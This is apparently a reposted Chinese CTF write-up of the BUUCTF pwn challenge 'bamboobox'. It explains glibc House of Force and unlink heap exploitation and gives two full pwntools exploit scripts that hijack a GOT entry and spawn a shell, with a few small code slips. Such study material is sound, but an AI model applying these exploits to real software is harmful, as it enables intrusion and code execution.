[BUUCTF]PWN——hitcontraining_bamboobox(House of force+unlink)

hitcontraining_bamboobox

附件

步骤

  1. 例行检查,64位程序,开启了canary和nx
    在这里插入图片描述

  2. 本地试运行一下,看看大概的执行情况,经典的堆题的菜单,并且根据第一行的提示,估计存在后门
    在这里插入图片描述

  3. 64位ida载入,猜测有后门,检索字符串果真发现了后门,不过根据buu的习性,一般flag在根目录下,这个后门应该用不大上,先记一下magic_addr=0x400d49
    在这里插入图片描述

  4. main()函数,发现输入5的时候会去执行v4[1],v4[1]里面是goodbye_message的地址,如果后门的flag路径正确的话可以通过house of force的方法将goodbye_message的地址改为majic的地址,即可得到flag
    在这里插入图片描述

  5. 分析一下各个功能的函数
    add()
    在这里插入图片描述
    edit()
    在这里插入图片描述
    show()
    在这里插入图片描述
    free()
    在这里插入图片描述
    free函数不存在利用点。

House of Force

利用思路

  1. 通过house of force,将top chunk的地址移到记录goodbye_messaged的chunk0处
  2. 再次申请chunk,我们就能分配到chunk0
  3. 将goodbye_message改为magic的地址
  4. 输入5调用v4[1],即可获得flag

利用过程

实现top chunk的迁移
先创建一个chunk,调试来找一下top chunk的位置

add(0x30,'aaaa')
gdb.attach(p)

在这里插入图片描述
我们可以看到,top chunk 到 chunk 0 的偏移为 -0x60 ,使用 house of force 技巧,(具体的方法看ctfwiki),我结合ctfwiki跟这道题简单说一下

House Of Force 产生的原因在于 glibc 对 top chunk 的处理,在进行堆分配时,如果所有空闲的块都无法满足需求,那么就会从 top chunk 中分割出相应的大小作为堆块的空间。

首先在 glibc 中,会对用户请求的大小和 top chunk 现有的 size 进行验证

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

然而,如果可以篡改 size 为一个很大值,就可以轻松的通过这个验证,所以我们需要一个能够控制 top chunk size 域的漏洞。之前分析了在edit这个功能这边存在一个溢出漏洞,可以用它来修改top chunk的size。

一般的做法是把 top chunk 的 size 改为 - 1,因为在进行比较时会把 size 转换成无符号数0xffffffffffffffff,因此 -1 也就是说 unsigned long 中最大的数,所以无论如何都可以通过验证。

来看一下这题怎么操作,先看一下chunk的内存分布
在这里插入图片描述
我们通过edit的溢出漏洞,编辑chunk0来修改top chunk的size

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
 
edit(0,0x41,payload)

效果如下图
在这里插入图片描述

remainder      = chunk_at_offset(victim, nb);
av->top        = remainder;

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))

之后这里会把 top 指针更新,接下来的堆块就会分配到这个位置,用户只要控制了这个指针就相当于实现任意地址写任意值 (write-anything-anywhere)。这题我们要做的就是将top指针更新到chunk0的位置,这样malloc的时候就能过重新写chunk0里的值了

与此同时,我们需要注意的是,topchunk 的 size 也会更新,其更新的方法如下

victim = av->top;
size   = chunksize(victim);
remainder_size = size - nb;
set_head(remainder, remainder_size | PREV_INUSE);

所以,如果我们想要下次在指定位置分配大小为 x 的 chunk,我们需要确保 remainder_size 不小于 x+ MINSIZE。

这题我们想要将top chunk的指针更新到chunk0处,计算一下偏移0xfc7000-0xfc7060=-0x60

此外,用户申请的内存大小,一旦进入申请内存的函数中就变成了无符号整数。

void *__libc_malloc(size_t bytes) {

如果想要用户输入的大小经过内部的 checked_request2size可以得到这样的大小,即

/*
   Check if a request is so large that it would wrap around zero when
   padded and aligned. To simplify some other code, the bound is made
   low enough so that adding MINSIZE will also not wrap around zero.
 */

#define REQUEST_OUT_OF_RANGE(req)                                              \
    ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req)                                                      \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                           \
         ? MINSIZE                                                             \
         : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/*  Same, except also perform argument check */

#define checked_request2size(req, sz)                                          \
    if (REQUEST_OUT_OF_RANGE(req)) {                                           \
        __set_errno(ENOMEM);                                                   \
        return 0;                                                              \
    }                                                                          \
    (sz) = request2size(req);

一方面,我们需要绕过 REQUEST_OUT_OF_RANGE(req) 这个检测,即我们传给 malloc 的值在负数范围内,不得大于 -2 * MINSIZE,这个一般情况下都是可以满足的。

另一方面,在满足对应的约束后,我们需要使得 request2size正好转换为对应的大小,也就是说,我们需要使得 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK 恰好为 - 60。
首先,很显然,-60 是 chunk 对齐的,那么我们只需要将其分别减去 SIZE_SZ,MALLOC_ALIGN_MASK 就可以得到对应的需要申请的值。

我不清楚有多少人跟我一样在做堆的时候每次都能遇到好多之前没遇到过的专属名词,这边贴一下百度到的关于size_sze和MALLOC_ALIGN_MASK的解释
首先从GNU网站中把glibc源码下载下来,查看其 malloc.c文件
在这里插入图片描述
在大多数情况下,编译器和C库透明地帮你处理对齐问题。POSIX 标明了通过malloc( ), calloc( ), 和 realloc( ) 返回的地址对于任何的C类型来说都是对齐的。
对齐参数(MALLOC_ALIGNMENT) 大小的设定并需满足两个特性: 1.必须是2的幂 2.必须是(void *)的整数倍
至于为什么会要求是(void *)的整数倍,这个目前我还不太清楚,等你来发现…
根据这个原理,在32位和64位的对齐单位分别为8字节和16字节

因此这题我们需要绕过 request2size(req) 宏,这里由于 -0x60 是16字节对齐的,所以要减去 SIZE_SZ(0x8) 和 MALLOC_ALIGN_MASK(0xf)
这题修改指针的偏移是 0xfc7000-0xfc7060-0x8-0xf

得到偏移后就可以根据偏移malloc(chunk)将top chunk的地址迁移到chunk0处了,之后我们的malloc就能得到原先chunk0的地址,这样就可以改写chunk0了

offset = -(0x60+0x8+0xf)
add(offset,'aaaa')
add(0x10,p64(magic) * 2)

成功将chunk0里的值改成了magic的地址,剩下的就是输入5调用chunk0了
在这里插入图片描述

完整exp

from pwn import *

#p=remote("node3.buuoj.cn",27403)
p=process("./bamboobox")
elf=ELF('./bamboobox')
context.log_level="debug"

def add(length,name):
	p.recvuntil(":")
	p.sendline('2')
	p.recvuntil(':')
	p.sendline(str(length))
	p.recvuntil(":")
	p.sendline(name)
 
def edit(idx,length,name):
	p.recvuntil(':')
	p.sendline('3')
	p.recvuntil(":")
	p.sendline(str(idx))
	p.recvuntil(":")
	p.sendline(str(length))
	p.recvuntil(':')
	p.sendline(name)
 
def free(idx):
	p.revcuntil(":")
	p.sendline("4")
	p.recvuntil(":")
	p.sendline(str(idx))
 
def show():
	p.recvuntil(":")
	p.sendline("1")
 
magic = 0x400d49
 
add(0x30,'aaaa')
#gdb.attach(p)

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
 
edit(0,0x41,payload)
#gdb.attach(p)

offset = -(0x60+0x8+0xf)
add(offset,'aaaa')
add(0x10,p64(magic) * 2)
 
#gdb.attach(p)
 
p.interactive()

在这里插入图片描述
我就知道buu上给的后门不对,这个方法能够本地打通,如果后门给的flag的路径正确的话也是能通的。

百度其它师傅的wp说是unlink能够打通远程。
参考wp:https://www.cnblogs.com/luoleqi/p/12373298.html

Unlink

利用思路

  1. 伪造一个空闲 chunk。
  2. 通过 unlink 把 chunk 移到存储 chunk 指针的内存处。
  3. 覆盖 chunk 0 指针为 free@got 表地址并泄露。
  4. 覆盖 free@got 表为 system 函数地址。
  5. 申请chunk的内容为“/bin/sh”,调用 free 函数拿 shell。

利用过程

先随意申请几个chunk看一下布局
一般申请的chunk是(0x20~0x80),由于malloc的分配机制里涉及到一个对齐,我每次都会动调查看分配chunk的大小

add(0x40,'a'*8 )
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')  #这个是用来后面free的,一开始调试的时候没有写,下面调试堆布局的时候没有这个chunk,影响不大

在这里插入图片描述

我们要做的是在 chunk 0 构造一个 fake chunk ,并把指针分别置为 ptr-0x18 和 ptr-0x10 ,同时把 chunk 1 的 prev_size 给上 fak chunk 的大小,把 size 的 inuse 位置 0 ,这样在 free chunk 1 的时候,程序会误以为 fake chunk 为空闲的,从而触发 unlink 操作,将 ptr 指针置为 ptr - 0x18。

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+='\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)

看一下修改后的堆布局,结合上一张图,可以发现我们已经在chunk0中伪造了一个fake chunk了,而且
在这里插入图片描述
接着我们free下一个堆块chunk1。fake_chunk和chunk1合并,fakechunk发生unlink,修改了G_ptr的值。之后我们编辑的chunk0的地址不在是parseheap命令看到的地址了,现在chunk0的地址是ptr=0x6020c8-0x18

free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload1=p64(0)+p64(0)+p64(0x30)+p64(free_got)
edit(1,len(payload),payload1)

看一下堆布局,此时chunk0里的内容是free@got
在这里插入图片描述
先利用show打印一下free@got地址,泄露一下libc,去计算system的地址,将free@got改为system,我们一开始的时候申请一个chunk,它的内容是‘/bin/sh’,释放它即可获取shell

show()
free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) 
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))

add(0x20,'/bin/sh\x00')
free(3)

完整exp

from pwn import *
from LibcSearcher import *
#r=process('bamboobox')
r=remote('node3.buuoj.cn',29464)
elf=ELF('bamboobox')
context.log_level="debug"


def add(length,context):
    r.recvuntil("Your choice:")
    r.sendline("2")
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the name of item:")
    r.send(context)

def edit(idx,length,context):
    r.recvuntil("Your choice:")
    r.sendline("3")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the new name of the item:")
    r.send(context)

def free(idx):
    r.recvuntil("Your choice:")
    r.sendline("4")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))

def show():
    r.sendlineafter("Your choice:", "1")

add(0x40,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')
#gdb.attach(r)

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+='\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)
#gdb.attach(r)

free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload=p64(0)+p64(0)+p64(0x40)+p64(free_got)
edit(0,len(fake_chunk),payload)
#gdb.attach(r)

show()
free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) 
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))

#gdb.attach(r)


free(3)
r.interactive()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/mcmuyanga/article/details/114291792